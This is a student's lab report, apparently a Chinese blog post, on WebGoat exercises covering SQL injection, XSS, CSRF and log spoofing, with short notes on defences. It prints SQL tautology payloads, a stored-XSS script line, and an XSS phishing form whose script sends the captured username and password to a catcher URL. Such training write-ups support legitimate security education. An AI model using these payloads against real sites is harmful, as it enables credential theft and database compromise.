Scroll to top

2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp9 Web安全基础

实验内容

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

实验后问题回答

  • SQL注入攻击原理,如何防御
    • 原理:是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
    • 防御:前端使用正确的input type,比如email;jsp中调用函数检查是否包函非法字符,如<、”、‘、%啥的;使用正则表达式过滤传入的参数;采用预编译语句集PreparedStatement的使用它的setXXX方法传值。
  • XSS攻击的原理,如何防御
    • 原理:即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。简单的说,在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行。
    • 防御:在表单提交或者url参数传递前,对需要的参数进行过滤; 检查用户输入的内容中是否有非法内容,如<、”、‘、% 等等。
  • CSRF攻击原理,如何防御
    • 原理:CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。CSRF通过伪装来自受信任用户的请求来利用受信任的网站。
    • 防御:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。

实验总结与体会

    本次实验是在WebGoat这一平台上实现的,我们通过Webgoat了解了web应用可能中存在的各种安全漏洞。整个实验过程比较顺利,Webgoat的教程也比较清晰明了,只是英文太多看的头疼,但是实践成功时,成就感满满。但是后来,我突然发现官网有个东西叫做Webgoat中文使用手册,眼泪差点下来了……

实践过程记录

开启Webgoat

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件

  • 在含有该文件的目录下,命令行输入java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现Starting ProtocolHandler证明开启成功

  • 在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面

  • 可以使guest或者webgoat登录,但是登陆上以后发现跟别人的界面不太一样,只有个别课程

  • update-alternatives --config java切换到jdk1.8(没有的话,就安装吧,参考博文)

  • root用户再次运行java -jar webgoat-container-7.0.1-war-exec.jar,并打开网页,就成功啦

Code Quality

Discover Clues in the HTML

  • 查看网页的源
  • 用户密码就写在那里,我都惊呆了

SQL注入攻击

Numeric SQL Injection

  • 如果一开始就是查看元素的源代码,就很容易找到sql语句,加个or 1=1

  • 修改完Go一下

LAB: SQL Injection

Stage 1: String SQL Injection
  • 将输入框的maxlength值改到足够大,密码输入包含永真式5234' or '1' = '1
  • 得到所有人员列表后该步骤完成。
Stage 2(本节课程只能在 WebGoat 开发版本上完成,版本不对没有实践)
Stage 3:Numeric SQL Injection
  • 修改VeiwProfile的value值
  • 成功后就可以看到老板信息啦
Stage 4(本节课程只能在 WebGoat 开发版本上完成,版本不对没有实践)

Blind Numeric SQL Injection

  • 某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。本以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效

  • 不断尝试逼近正确值,直到成功

XSS攻击

Phishing with XSS

  • 因此可编写XSS和一段Javasript,第一部分html语言创建一个表单。
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
  • 第二部分将信息提交给webgoat
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("You are under attack!!!User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
  • 将代码组装,输入到搜索框里

Stored XSS Attacks

  • 可以将html填入到Message里中,可以简单一点加一句<script>alert("5234");</script>

Log Spoofing

  • 题目:目标是让log像一个用户名“管理员”已经成功登录。(入回车(0D%)和换行符(%0A))

CSRF攻击

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

Cross Site Request Forgery

  • 阅读题目

  • 实践

CSRF Prompt By-Pass

  • 阅读题目
  • 实践

END

posted @ 2020-05-23 12:19  September_starlet  阅读(204)  评论(0编辑  收藏  举报
动态线条
动态线条end